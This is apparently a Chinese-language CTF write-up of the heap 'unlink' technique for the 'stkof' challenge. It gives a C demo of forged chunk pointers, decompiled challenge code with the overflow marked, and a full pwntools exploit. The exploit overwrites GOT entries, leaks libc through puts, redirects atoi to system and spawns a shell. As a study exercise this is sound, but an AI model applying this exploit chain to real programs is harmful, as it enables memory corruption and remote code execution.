首页 > 其他 > 详细

unlink- ctf-stkof

时间:2019-07-11 11:18:44      阅读:106      评论:0      收藏:0      [点我收藏+]

stkof 程序下载:https://pan.baidu.com/s/1_dcm8OFjhKbKYWa3WBtAiQ
提取码:pkyb

#define unlink(AV, P, BK, FD) {                                                 FD = P->fd;                                                                 BK = P->bk;                                                                 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                         malloc_printerr (check_action, "corrupted double-linked list", P, AV);    else {                                                                          FD->bk = BK;                                                                BK->fd = FD;                                                                ...
    }

根据unlink的定义中, P BK FD 都是chunk .(上述代码中省略部分是 large bin 的,不好做利用,我不会)

unlink.c
#include<stdio.h>
#include<malloc.h>
#include<unistd.h>
#include<string.h>
long list;
int main(){
    char *p = malloc(0x80);
    char *q = malloc(0x80);
    char *r = malloc(0x80);
    
    list = p;
    printf("%p\n",p);
    
    *(long *)p = 0;
    *(long *)(p+8) = 0x81;
    //让下一个chunk释放时检测到这个从fd开始的假chunk已经被释放了
    
    *(long *)(p+16) = &list - 0x3;//FD
    *(long *)(p+24) = &list - 0x2;//BK
    
    *(long *)(q-16) = 0x80;
    *(long *)(q-8) = 0x90;
    //prev_size 为80,0x90 prev_inuser位表示前一个chunk已经被free  
    free(q);
    //触发前向合并,移动指针 q -= priv_size
    
    strcpy(list,"aaaaaaaabbbbbbbbcccccccc\x38\x10\x60");
    strcpy(list,"dddddddd");
    //这两个strcpy是为了向0x601038位置写入'dddddddd'
    //利用方式:改got表  hook
    
    printf("%p\n",malloc(0));
    return 0;
}
$ gcc unlink.c
$./a.out
0xa64010
0xa64020
上述代码分析:
FD = P->fd;  |  FD -> bk == P  |  FD -> bk = BK                              
BK = P->bk;  |  BK -> fd == P  |  BK -> fd = FD
             | unlink检查方式   | 断链的操作
---------------------------------------------------------------
prev_size   0  <==(p_chunk)
size        0x91
fd          0  <==p的指针
bk          0x81      
            &list-3    prev_size <==(FD_chunk)  
            &list-2    size       prve_size <==(BK_chunk)
            &list-1    fd         size
            list=p     bk         fd

最后一行 p==FD->bk==BK->fd
因为BK -> fd = FD 所以 list = &list-3 注: 新申请的内存也是在这个位置
free后还能被改,,真惨...不好,我好喜欢

好了,如果小白在上述代码分析中停留了3天,我就当你明白了

下面开始实战

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
        ...
  while ( fgets(&buf, 10, stdin) )
  {
    num = atoi(&buf);
    switch(num)
    {
        case 1: ret = add();
                goto LABEL_14;
        case 2:ret = edit();                             
                goto LABEL_14;
        case 3:ret = del();                            
                goto LABEL_14;
        case 4:ret = show();                          
                goto LABEL_14;
            
    }
    ...
}

signed __int64 add()
{
    ...
  v4 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  size = atoll(&s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return -1;
  bss_chunkS[++chunk_num] = v2;  
  printf("%d\n", (unsigned int)chunk_num, size);
  return 0LL;
}

signed __int64 edit()
{
 ...
  fgets(&buf, 16, stdin);
  index = atol(&buf);
  if ( index > 0x100000 )
    return -1;
  if ( !bss_chunkS[index] )
    return -1;
  fgets(&buf, 16, stdin);
  n = atoll(&buf);
  ptr = bss_chunkS[index];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )// 溢出
  {
    ptr += i;
    n -= i;
  }
...
}
    
signed __int64 del()
{
...
  fgets(&s, 16, stdin);
  index = atol(&s);
  if ( index > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !bss_chunkS[index] )
    return 0xFFFFFFFFLL;
  free(bss_chunkS[index]);
  bss_str[index] = 0LL;
  return 0LL;
}    
    
signed __int64 show()
{
...
  fgets(&s, 16, stdin);
  v1 = atol(&s);
  if ( v1 > 0x100000 )
    return -1;
  if ( !bss_chunkS[v1] )
    return 0xFFFFFFFFLL;
  if ( strlen(bss_chunkS[v1]) <= 3 )               // 利用点,想办法把strlen改成puts
    puts("//TODO");
  else
    puts("...");
  return 0LL;
}    
利用代码
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./stkof")
elf=ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(index,payload):
    p.sendline('2')    
    p.sendline(str(index))
    p.sendline(str(len(payload)))
    p.sendline(payload)
    p.recvuntil('OK\n')

def delete(index):
    p.sendline('3')   
    p.sendline(str(index))

    
    
add(0x80)     #此时的堆布局 1.printf 2.chunk1 
add(0x20)     #             3.puts   4.chunk2 
add(0x80)     #             5.chunk3 6.top_chunk 
#我们不好将chunk1直接溢出到chunk2,但chunk2与chunk3是连续的

chunk_list=0x602140+0x10 #第2个chunk的指针

payload = p64(0)   
payload += p64(0x21)    
payload += p64(chunk_list - 0x18) #FD
payload += p64(chunk_list - 0x10) #BK

payload += p64(0x20)       
payload += p64(0x90)
edit(2,payload)   

delete(3) #chunk_list=&chunk_list-0x18  FD
p.recvuntil('OK\n')

payload = p64(0)+ p64(elf.got['free'])
payload += p64(elf.got['puts']) + p64(elf.got['atoi']) 
edit(2,payload)#idx2 这个位置 = &chunk_list-0x18  
#当编辑完后,chunk2这个指针指向 atoi@got

payload = p64(elf.plt['puts'])
edit(0, payload) #free@got 改为指向 puts@plt
    
delete(1) #free@got->puts@plt(puts@got)
p.recvline()
puts_addr = u64(p.recvline()[:-1].ljust(8, '\x00'))
system = puts_addr - libc.symbols['puts'] + libc.symbols['system']

edit(2,p64(system)) #atoi@got->system addr 
p.sendline('/bin/sh')
p.recvuntil('FAIL\n')
p.interactive()

通过这此的题,我发现自己对malloc free的源码的理解程度严重不足,这题我足足做了3天,我还是闭关研究一下源码吧..

unlink- ctf-stkof

原文:https://www.cnblogs.com/jazm/p/11168380.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!